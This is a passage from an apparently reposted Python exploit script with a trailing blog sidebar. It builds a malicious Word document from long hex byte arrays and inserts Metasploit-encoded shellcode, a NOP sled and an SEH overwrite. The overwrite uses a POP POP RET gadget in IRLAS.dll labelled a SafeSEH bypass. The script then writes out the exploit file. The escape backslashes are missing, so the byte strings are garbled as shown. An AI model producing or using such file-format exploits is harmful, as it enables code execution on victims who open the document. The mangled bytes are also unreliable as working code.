      354. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      355. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      356. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      357. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      358. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      359. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      360. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      361. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      362. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      363. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      364. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      365. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      366. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      367. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      368. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      369. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      370. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      371. "x74x00x65x00x73x00x74x00x0Dx00x00x00x00x00x00x00"+
      372. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      373. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      374. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      375. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      376. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      377. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      378. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      379. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      380. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      381. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      382. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      383. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      384. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      385. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      386. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      387. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      388. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      389. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      390. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      391. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      392. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      393. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      394. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      395. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      396. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      397. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      398. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      399. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      400. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      401. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      402. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      403. "x00x08x00x00x08x08x00x00x0Ax08x00x00xF3xE7x00x00"+
      404. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      405. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      406. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      407. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      408. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      409. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      410. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      411. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      412. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      413. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      414. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      415. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      416. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      417. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      418. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      419. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      420. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      421. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      422. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      423. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      424. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      425. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      426. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      427. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      428. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      429. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      430. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      431. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x17x4F"+
      432. "x4Ax09x00x51x4Ax09x00x6Fx28x00x5Ex4Ax09x00x6Dx48"+
      433. "x07x04x73x48x07x04x17x4Fx4Ax09x00x51x4Ax09x00x6F"+
      434. "x28x00x5Ex4Ax09x00x6Dx48x07x04x73x48x07x04x00x02"+
      435. "x00x08x00x00x0Ax08x00x00xFDx00x00x00x00x00x00x00"+
      436. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      437. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      438. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      439. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      440. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      441. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      442. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      443. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      444. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      445. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      446. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      447. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      448. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      449. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      450. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      451. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      452. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      453. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      454. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      455. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      456. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      457. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      458. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      459. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      460. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      461. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      462. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      463. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      464. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      465. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      466. "x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01"+
      467. "x2Dx00x1FxB0xD7x2Fx20xB0xCBx3Dx21xB0x05x07x23x90"+
      468. "xA0x05x22xB0x05x07x24x90xA0x05x25xB0x00x00x17xB0"+
      469. "xC4x02x18xB0xC4x02x31x90x1Fx01xFFxD1x02x00x00x00"+
      470. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      471. "x14x00x11x00x12x00x01x00x9Cx00x0Fx00x04x00x00x00"+
      472. "x08x00x00x00x00x00x5Ax00x00x60xF1xFFx02x00x5Ax00"+
      473. "x00x00x00x00x00x00x00x00x00x00x06x00x4Ex00x6Fx00"+
      474. "x72x00x6Dx00x61x00x6Cx00x00x00x0Bx00x00x00x61x24"+
      475. "x00x03x24x00x31x24x00x00x28x00x43x4Ax18x00x4Fx4A"+
      476. "x09x00x50x4Ax0Ax00x51x4Ax09x00x5Ex4Ax09x00x4Bx48"+
      477. "x02x00x6Dx48x09x04x73x48x09x04x6Ex48x04x08x74x48"+
      478. "x04x08x6Ax00x01x60x01x00x02x00x6Ax00x00x00x00x00"+
      479. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      480. "x69x00x6Ex00x67x00x20x00x31x00x00x00x27x00x01x00"+
      481. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      482. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      483. "x24x01x40x26x00x00x16x00x43x4Ax20x00x4Fx4Ax04x00"+
      484. "x51x4Ax04x00x35x08x01x36x08x00x4Bx48x2Cx00x66x00"+
      485. "x02x60x01x00x02x00x66x00x00x00x00x00x00x00x00x00"+
      486. "x00x00x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00"+
      487. "x67x00x20x00x32x00x00x00x27x00x02x00x12x64xF0x00"+
      488. "x01x00x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3C"+
      489. "x00x59x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26"+
      490. "x01x00x12x00x43x4Ax1Cx00x4Fx4Ax04x00x51x4Ax04x00"+
      491. "x35x08x81x36x08x01x64x00x03x60x01x00x02x00x64x00"+
      492. "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
      493. "x61x00x64x00x69x00x6Ex00x67x00x20x00x33x00x00x00"+
      494. "x27x00x03x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
      495. "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
      496. "x06x24x01x05x24x01x40x26x02x00x0Fx00x43x4Ax1Ax00"+
      497. "x4Fx4Ax04x00x51x4Ax04x00x35x08x81x00x64x00x04x60"+
      498. "x01x00x02x00x64x00x00x00x00x00x00x00x00x00x00x00"+
      499. "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
      500. "x20x00x34x00x00x00x27x00x04x00x12x64xF0x00x01x00"+
      501. "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
      502. "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x03x00"+
      503. "x0Fx00x43x4Ax1Cx00x4Fx4Ax00x00x51x4Ax00x00x35x08"+
      504. "x81x00x5Ex00x05x60x01x00x02x00x5Ex00x00x00x00x00"+
      505. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      506. "x69x00x6Ex00x67x00x20x00x35x00x00x00x27x00x05x00"+
      507. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      508. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      509. "x24x01x40x26x04x00x0Ax00x43x4Ax1Ax00x35x08x81x36"+
      510. "x08x01x64x00x06x60x01x00x02x00x64x00x00x00x00x00"+
      511. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      512. "x69x00x6Ex00x67x00x20x00x36x00x00x00x27x00x06x00"+
      513. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      514. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      515. "x24x01x40x26x05x00x0Fx00x43x4Ax16x00x4Fx4Ax00x00"+
      516. "x51x4Ax00x00x35x08x81x00x5Cx00x07x60x01x00x02x00"+
      517. "x5Cx00x00x00x00x00x00x00x00x00x00x00x09x00x48x00"+
      518. "x65x00x61x00x64x00x69x00x6Ex00x67x00x20x00x37x00"+
      519. "x00x00x27x00x07x00x12x64xF0x00x01x00x13xA4xF0x00"+
      520. "x58x44x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5C"+
      521. "x24x00x06x24x01x05x24x01x40x26x06x00x07x00x43x4A"+
      522. "x18x00x35x08x00x00x64x00x08x60x01x00x02x00x64x00"+
      523. "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
      524. "x61x00x64x00x69x00x6Ex00x67x00x20x00x38x00x00x00"+
      525. "x27x00x08x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
      526. "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
      527. "x06x24x01x05x24x01x40x26x07x00x0Fx00x43x4Ax18x00"+
      528. "x4Fx4Ax00x00x51x4Ax00x00x36x08x01x00x60x00x09x60"+
      529. "x01x00x02x00x60x00x00x00x00x00x00x00x00x00x00x00"+
      530. "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
      531. "x20x00x39x00x00x00x27x00x09x00x12x64xF0x00x01x00"+
      532. "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
      533. "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x08x00"+
      534. "x0Cx00x43x4Ax16x00x4Fx4Ax04x00x51x4Ax04x00x44x00"+
      535. "x41x60xF2xFFxA1x00x44x00x00x00x00x00x00x00x00x00"+
      536. "x00x00x16x00x44x00x65x00x66x00x61x00x75x00x6Cx00"+
      537. "x74x00x20x00x50x00x61x00x72x00x61x00x67x00x72x00"+
      538. "x61x00x70x00x68x00x20x00x46x00x6Fx00x6Ex00x74x00"+
      539. "x00x00x00x00x00x00x00x00x00x00x00x00x44x00x20x60"+
      540. "x01x00xF2x00x44x00x00x00x00x00x00x00x00x00x00x00"+
      541. "x06x00x46x00x6Fx00x6Fx00x74x00x65x00x72x00x00x00"+
      542. "x16x00x0Fx00x61x24x00x03x24x00x47x24x00x0DxC6x08"+
      543. "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
      544. "x12x00x3Ex00x1Fx60x01x00x02x01x3Ex00x00x00x00x00"+
      545. "x00x00x00x00x00x00x06x00x48x00x65x00x61x00x64x00"+
      546. "x65x00x72x00x00x00x10x00x10x00x47x24x00x0DxC6x08"+
      547. "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
      548. "x12x00x00x08x00x00x0Ax08x00x00x05x00x00x00x00x08"+
      549. "x00x00x0Ax08x00x00x06x00x00x00x02x10x00x00x00x00"+
      550. "x00x00x00x05x00x00x00x00x00x00x08x00x00x00x00x0C"+
      551. "x00x00x00x47x16x90x01x00x00x02x02x06x03x05x04x05"+
      552. "x02x03x04x87x7Ax00x20x00x00x00x80x08x00x00x00x00"+
      553. "x00x00x00xFFx01x00x00x00x00x00x00")
      554. tail=("x90x90xEBx06xE6xADx01x51x00x00x4Dx04x90x01x86x03x02"+
      555. "x01x06x00x03x01x01x01x01x01x00x00x00x00x00x00x00"+
      556. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      557. "x00x8Bx5Bx53x4Fx00x00x54x00x69x00x6Dx00x65x00x73"+
      558. "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
      559. "x00x61x00x6Ex00x00x00x55x04x90x01x86x07x02x01x06"+
      560. "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x00"+
      561. "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00x53"+
      562. "x00x69x00x6Dx00x48x00x65x00x69x00x00x00x54x00x69"+
      563. "x00x6Dx00x65x00x73x00x20x00x4Ex00x65x00x77x00x20"+
      564. "x00x52x00x6Fx00x6Dx00x61x00x6Ex00x00x00x35x14x90"+
      565. "x01x02x00x05x05x01x02x01x07x06x02x05x07x00x00x00"+
      566. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      567. "x80x00x00x00x00x53x00x79x00x6Dx00x62x00x6Fx00x6C"+
      568. "x00x00x00x33x24x90x01x00x00x02x0Bx06x04x02x02x02"+
      569. "x02x02x04x87x7Ax00x00x00x00x00x80x08x00x00x00x00"+
      570. "x00x00x00xFFx01x00x40x00x00xFFxFFx41x00x72x00x69"+
      571. "x00x61x00x6Cx00x00x00x4Dx04x90x01x86x03x02x01x06"+
      572. "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x10"+
      573. "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00xD1"+
      574. "x9Ex53x4Fx00x00x54x00x69x00x6Dx00x65x00x73x00x20"+
      575. "x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6Dx00x61"+
      576. "x00x6Ex00x00x00x3Fx34x90x01x00x00x02x07x03x09x02"+
      577. "x02x05x02x04x04x87x7Ax00x00x00x00x00x80x08x00x00"+
      578. "x00x00x00x00x00xFFx01x00x40x00x00xFFxFFx43x00x6F"+
      579. "x00x75x00x72x00x69x00x65x00x72x00x20x00x4Ex00x65"+
      580. "x00x77x00x00x00x3Bx04x90x01x02x00x05x00x00x00x00"+
      581. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      582. "x00x00x00x00x00x00x00x00x80x00x00x00x00x57x00x69"+
      583. "x00x6Ex00x67x00x64x00x69x00x6Ex00x67x00x73x00x00"+
      584. "x00x55x04x90x01x86x07x02x01x06x00x03x01x01x01x01"+
      585. "x01x03x00x00x00x00x00x0Ex08x00x00x00x00x00x00x00"+
      586. "x00x01x00x04x00x00x00x00x00x53x00x69x00x6Dx00x53"+
      587. "x00x75x00x6Ex00x00x00x54x00x69x00x6Dx00x65x00x73"+
      588. "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
      589. "x00x61x00x6Ex00x00x00x37x04x90x01x00x00x02x04x05"+
      590. "x02x05x04x05x02x03x03x87x02x00x00x00x00x00x00x00"+
      591. "x00x00x00x00x00x00x00x9Fx00x00x20x00x00x00x00x47"+
      592. "x00x65x00x6Fx00x72x00x67x00x69x00x61x00x00x00x37"+
      593. "x04x90x01x00x02x00x00x00x00x00x00x00x00x00x00x00"+
      594. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      595. "x00x00x00x00x00x00x00x20x00x00x00x4Cx00x61x00x74"+
      596. "x00x68x00x61x00x00x00x33x04x90x01x00x00x02x00x04"+
      597. "x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00"+
      598. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4C"+
      599. "x00x61x00x74x00x68x00x61x00x00x00xFFxFFx12x00x00"+
      600. "x00x00x00x0Ax00x4Ex00x6Fx00x72x00x6Dx00x61x00x6C"+
      601. "x00x2Ex00x77x00x70x00x74x00x04x00x74x00x65x00x73"+
      602. "x00x74x00x00x00x00x00x00x00x0Dx00x41x00x64x00x6D"+
      603. "x00x69x00x6Ex00x69x00x73x00x74x00x72x00x61x00x74"+
      604. "x00x6Fx00x72x00x0Ax00x7Ax00x68x00x61x00x6Ex00x67"+
      605. "x00x71x00x69x00x61x00x6Ex00x67x00x00x00x00x00x00"+
      606. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"+
      607. "x00x04x00x01x08x88x18x00x00xA4x01xE9xFDx68x01x00"+
      608. "x00x00x00x8Bx33xE5x86x9FxC5x1Bx07x00x00x00x00x01"+
      609. "x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x01"+
      610. "x00x00x00x04x00x03x10x01x00x00x00x00x00x00x00x00"+
      611. "x00x00x00x01x00x01x00x00x00x01x00x00x00x00x00x00"+
      612. "x00x21x03x00x00x00x00x00x00x03x00x5Ax00x26x00x21"+
      613. "x00x29x00x2Cx00x2Ex00x3Ax00x3Bx00x3Fx00x5Dx00x7D"+
      614. "x00xA8x00xB7x00xC7x02xC9x02x15x20x16x20x19x20x1D"+
      615. "x20x26x20x36x22x01x30x02x30x03x30x05x30x09x30x0B"+
      616. "x30x0Dx30x0Fx30x11x30x15x30x17x30x01xFFx02xFFx07"+
      617. "xFFx09xFFx0CxFFx0ExFFx1AxFFx1BxFFx1FxFFx3DxFFx40"+
      618. "xFFx5CxFFx5DxFFx5ExFFxE0xFFx00x00x00x00x00x00x00"+
      619. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      620. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      621. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      622. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      623. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      624. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      625. "x00x00x00x00x00x00x00x00x00x28x00x5Bx00x7Bx00xB7"+
      626. "x00x18x20x1Cx20x08x30x0Ax30x0Cx30x0Ex30x10x30x14"+
      627. "x30x16x30x08xFFx0ExFFx3BxFFx5BxFFxE1xFFxE5xFFx00"+
      628. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      629. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      630. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      631. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
      632. "x07xA0x05xB4x00x8Fx00x02x80x00x00x00x00x00x00x00"+
      633. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      634. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      635. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      636. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      637. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      638. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      639. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      640. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      641. "x00x00x00x29xF0xFFx0Fx01x00x01x3Fx00x00xA8x03x00"+
      642. "x00xFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFF"+
      643. "x7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7Fx27x2Ax17"+
      644. "x00x00x00x00x00x32x00x00x00x00x00x00x00x00x00x00"+
      645. "x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x05"+
      646. "x00x00x00x00x00x00x00x01x00x01x00x00x00x00x00x00"+
      647. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
      648. "x00x00x00x00x00x00x0Ex00x00x00x00xFFxFFxFFxFFx0F"+
      649. "x00x00xF0x20x00x00x00x00x00x06xF0x18x00x00x00x02"+
      650. "x08x00x00x02x00x00x00x02x00x00x00x01x00x00x00x01"+
      651. "x00x00x00x02x00x00x00x00x0Fx00x02xF0x86x00x00x00"+
      652. "x10x00x08xF0x08x00x00x00x02x00x00x00x01x04x00x00"+
      653. "x0Fx00x03xF0x30x00x00x00x0Fx00x04xF0x28x00x00x00"+
      654. "x01x00x09xF0x10x00x00x00x00x00x00x00x00x00x00x00"+
      655. "x00x00x00x00x00x00x00x00x02x00x0AxF0x08x00x00x00"+
      656. "x00x04x00x00x05x00x00x00x0Fx00x04xF0x36x00x00x00"+
      657. "x12x00x0AxF0x08x00x00x00x01x04x00x00x00x0Ex00x00"+
      658. "x53x00x0BxF0x1Ex00x00x00x7Fx00x00x00x8Dx01x7Fx01"+
      659. "x20x00x20x00xCDx01x00x00x00x00xFFx01x00x00x08x00"+
      660. "x3Fx03x01x00x01x00xFFx40x00x00x00x00x00x00x00x00"+
      661. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      662. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      663. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      664. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      665. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      666. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      667. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      668. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      669. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      670. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      671. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      672. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      673. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      674. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      675. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      676. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      677. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      678. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      679. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      680. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      681. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      682. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      683. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      684. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      685. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      686. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      687. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      688. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      689. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00")
      690. # windows/exec CMD=calc.exe
      691. # Encoder: x86/shikata_ga_nai
      692. # powered by Metasploit
      693. # msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'
      694. shellcode =("xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9"+
      695. "xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44"+
      696. "xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13"+
      697. "x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8"+
      698. "xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e"+
      699. "xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d"+
      700. "xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b"+
      701. "x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45"+
      702. "x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31"+
      703. "xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89"+
      704. "x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72"+
      705. "x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55"+
      706. "x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78"+
      707. "xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1"+
      708. "x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74"+
      709. "x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95"+
      710. "x7cx7axc1")
      711. nops="x90"*(516- len(shellcode))#516 bytes space for shellcode
      712. nseh="x90x90xebx06"
      713. seh=pack('<L',0x5101ade6)#0x5101ade6 # POP EBP # POP EBX # RETN 0x10 - IRLAS.dll [SafeSEH Bypass]
      714. poc=head + nops + shellcode + nseh + seh + tail
      715. try:
      716. print"[*] Creating exploit file... ";
      717. writeFile = open (file,"w")
      718. writeFile.write( poc )
      719. writeFile.close()
      720. print"[*] File successfully created!";
      721. except:
      722. print"[!] Error while creating file!";
  • 相关阅读:
    天国近了(一) 揭穿OOP神话
    自然思考:流程任意定制的一个问题
    风水占卜是迷信吗?
    飘浮的鸡蛋壳真正的原理研究
    ListView
    Java与WCF交互（一)：Java客户端调用WCF服务 （转）
    WPF ListView 数据绑定
    .NET中Trace类和Debug类的应用举例(转)
    Print Visual Tree
    EntityFramework之领域驱动设计实践（六）（转）
  • 原文地址：https://www.cnblogs.com/security4399/p/3477341.html
